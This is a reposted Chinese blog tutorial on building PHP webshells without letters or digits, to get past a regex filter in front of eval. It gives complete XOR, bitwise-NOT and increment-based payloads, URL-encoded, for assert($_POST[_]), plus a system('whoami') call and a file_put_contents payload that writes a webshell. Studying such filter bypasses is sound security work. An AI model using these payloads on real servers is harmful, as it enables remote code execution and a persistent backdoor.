RCE篇之无数字字母rce
转载自:https://arsenetang.github.io/2021/07/28/RCE篇之无字母数字rce/
无数字字母rce
无数字字母rce,这是一个老生常谈的问题,就是不利用数字和字母构造出webshell,从而能够执行我们的命令。
核心代码
<?php highlight_file(__FILE__); $code = $_GET['code']; if(preg_match("/[A-Za-z0-9]+/",$code)){ die("hacker!"); } @eval($code); ?>
这里的思路就是利用各种非数字字母的字符,经过各种变换(异或、取反、自增),构造出单个的字母字符,然后把单个字符拼接成一个函数名,比如说assert,然后就可以动态执行了。所以说这里的核心就是非字母的字符换成字母字符。
1、异或^
这里的异或,指的是php按位异或,在php中,两个字符进行异或操作后,得到的依然是一个字符,所以说当我们想得到a-z
中某个字母时,就可以找到两个非字母数字的字符,只要他们俩的异或结果是这个字母即可。而在php中,两个字符进行异或时,会先将字符串转换成ascii码
值,再将这个值转换成二进制,然后一位一位的进行按位异或,异或的规则是:1^1=0,1^0=1,0^1=1,0^0=0
,简单的来说就是相同为零,不同为一,ascii码
表参考如下:
那假如说我们想要构造出小写字母a
,按照上表,a
的二进制为01100001
,那我们就可以选择两个非字母数字的字符进行异或,这里有很多种选法,我选择的是@
和!
这两个,成功异或出了字母a
:
然后我们就可以按照这个方法进行拼接了,我们的目标字符串是assert($_POST[_])
,其实很简单,我们需要拼接的字母只有九个而已,拼接结果如下,因为很多都是不可见的字符,所以说我就先url编码了一下(url编码就是它的16进制编码前面加个%
哈):
a:'%40'^'%21' ; s:'%7B'^'%08' ; s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08' P:'%0D'^'%5D' ; O:'%0F'^'%40' ; S:'%0E'^'%5D' ; T:'%0B'^'%5F' 拼接起来: $_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08'); // $_=assert $__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F'); // $__=_POST $___=$$__; //$___=$_POST $_($___[_]);//assert($_POST[_]); 放到一排就是: $_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);
以上是我自己构造的,经检验没有问题,构造结果可能会有很多种,但方法都是一样的,这样就可以成功进行rce了。
2、取反~
取反也是php中的一种运算符,关于取反的具体规则可以参考这篇文章:https://blog.csdn.net/WilliamsWayne/article/details/78259501,写得挺详细的,取反的好处就是,它每一个字符取反之后都会变成另一个字符,不像异或需要两个字符才能构造出一个字符。
方法一
首先,我们想要构造的依然是assert($_POST[_])
这条语句,和上面一样,我们先用php
的取反符号~
将字符串assert
和_POST
取反,这里需要注意的是,由于它取反之后会有大量不可显字符,所以我们同样需要将其url编码,然后当我们要用的时候,再利用取反符号把它们取回来即可,具体请见下图:
可以看到,assert
的取反结果是%9E%8C%8C%9A%8D%8B
,_POST
的取反结果是%A0%AF%B0%AC%AB
,那我们就开始构造:
$_=~(%9E%8C%8C%9A%8D%8B); //这里利用取反符号把它取回来,$_=assert $__=~(%A0%AF%B0%AC%AB); //$__=_POST $___=$$__; //$___=$_POST $_($___[_]); //assert($_POST[_]); 放到一排就是: $_=~(%9E%8C%8C%9A%8D%8B);$__=~(%A0%AF%B0%AC%AB);$___=$$__;$_($___[_]);
方法二
方法二是我看p神博客才了解到的方法,就是说利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,然后再进行一次取反操作,就能得到一个我们想要的字符,这里的原理我确实是不知道,因为这里好像是涉及到计组知识而我现在还没学,害,现在就只有先学会怎么用,原理后面再补了
这里之所以会输出两个相同的r
,就是因为里面$_{1}
就是\x8d
,然后这里对\x86
进行取反就能得到r
,原理不详
总之我们需要知道的是,对于一个汉字进行~($x{0})
或~($x{1})
或~($x{2})
的操作,可以得到某个ascii码
的字符值,我们就可以利用这一点构造出webshell
$_++; //得到1,此时$_=1 $__ = "极"; $___ = ~($__{$_}); //得到a,此时$___="a" $__ = "区"; $___ .= ~($__{$_}); //得到s,此时$___="as" $___ .= ~($__{$_}); //此时$___="ass" $__ = "皮"; $___ .= ~($__{$_}); //得到e,此时$___="asse" $__ = "十"; $___ .= ~($__{$_}); //得到r,此时$___="asser" $__ = "勺"; $___ .= ~($__{$_}); //得到t,此时$___="assert" $____ = '_'; //$____='_' $__ = "寸"; $____ .= ~($__{$_}); //得到P,此时$____="_P" $__ = "小"; $____ .= ~($__{$_}); //得到O,此时$____="_PO" $__ = "欠"; $____ .= ~($__{$_}); //得到S,此时$____="_POS" $__ = "立"; $____ .= ~($__{$_}); //得到T,此时$____="_POST" $_ = $$____; //$_ = $_POST $___($_[_]); //assert($_POST[_]) 放到一排就是: $_++;$__ = "极";$___ = ~($__{$_});$__ = "区";$___ .= ~($__{$_});$___ .= ~($__{$_});$__ = "皮";$___ .= ~($__{$_});$__ = "十";$___ .= ~($__{$_});$__ = "勺";$___ .= ~($__{$_});$____ = '_';$__ = "寸";$____ .= ~($__{$_});$__ = "小";$____ .= ~($__{$_});$__ = "欠";$____ .= ~($__{$_});$__ = "立";$____ .= ~($__{$_});$_ = $$____;$___($_[_]);
由于不可见字符的原因,我们还是要进行url编码之后才能正常使用:
%24_%2B%2B%3B%24__%20%3D%20%22%E6%9E%81%22%3B%24___%20%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8C%BA%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E7%9A%AE%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8D%81%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8B%BA%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24____%20%3D%20'_'%3B%24__%20%3D%20%22%E5%AF%B8%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%B0%8F%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E6%AC%A0%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E7%AB%8B%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24_%20%3D%20%24%24____%3B%24___(%24_%5B_%5D)%3B
3、自增
在处理字符变量的算数运算时,PHP
沿袭了Perl
的习惯,而不是C语言的。在C语言中,它递增的是ASCII值,a = 'Z'; a++;
将把 a
变成 '['
('Z'
的 ASCII 值是 90,'['
的 ASCII 值是 91),而在Perl中, $a = 'Z'; $a++;
将把 $a
变成'AA'
。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增或递减其他字符变量则无效,原字符串没有变化。
也就是说,只要我们获得了小写字母a
,就可以通过自增获得所有小写字母,当我们获得大写字母A
,就可以获得所有大写字母了
正好,数组(Array)中就正好有大写字母A
和小写字母a
,而在PHP中,如果强制连接数组和字符串的话,数组就会被强制转换成字符串,它的值就为Array
,那取它的第一个子母,就拿到A
了,那有了a
和A
,相当于我们就可以拿到a-z
和A-Z
中的所有字母了
这里我就直接给出p神的构造结果了,构造出来很长,而且我感觉也不是特别实用:
<?php $_=[]; $_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$__++;$__++;$__++; // E $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $____.=$__; $_=$$____; $___($_[_]); // ASSERT($_POST[_]);
放到一排再url编码之后是:
%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B
说实话真的太长了,要是稍微有个长度限制就用不了,所以说这种方法只做了解即可
php5和php7的区别
在研究无数字字母rce的过程中,一个很重要的函数就是assert
,但在php5的版本和php7的版本中,它是有一些区别的,我们上面的测试都是基于php5进行的,在php5中assert是一个函数,我们可以通过$f='assert';$f(...);
这样的方法来动态执行任意代码,在php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,但是在php7中,我们可以使用($a)()这种方法来执行命令,那相当于我们对phpinfo取反后就可以直接执行了,也可以选择file_put_contents()来写入shell,在php5中这样是不行的:
例子一
在php7中,因为可以使用($a)()这种方法来执行命令,所以说我们利用call_user_func()
来举例,(call_user_func)(system,whoami,'')
即可执行whoami
的命令:
那构造出来的结果就为:
(~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c)(~%8c%86%8c%8b%9a%92,~%88%97%90%9e%92%96,'');
例子二
再来一个在php7中利用file_put_contents()
写入shell
的例子:
我们要构造的语句为:file_put_contents('4.php','<?php eval(\$_POST[1]);');
构造出来就为:
(~(%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C))(~(%CB%D1%8F%97%8F),~(%C3%C0%8F%97%8F%DF%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4));
这里要注意的就是要有该目录的写入权限哈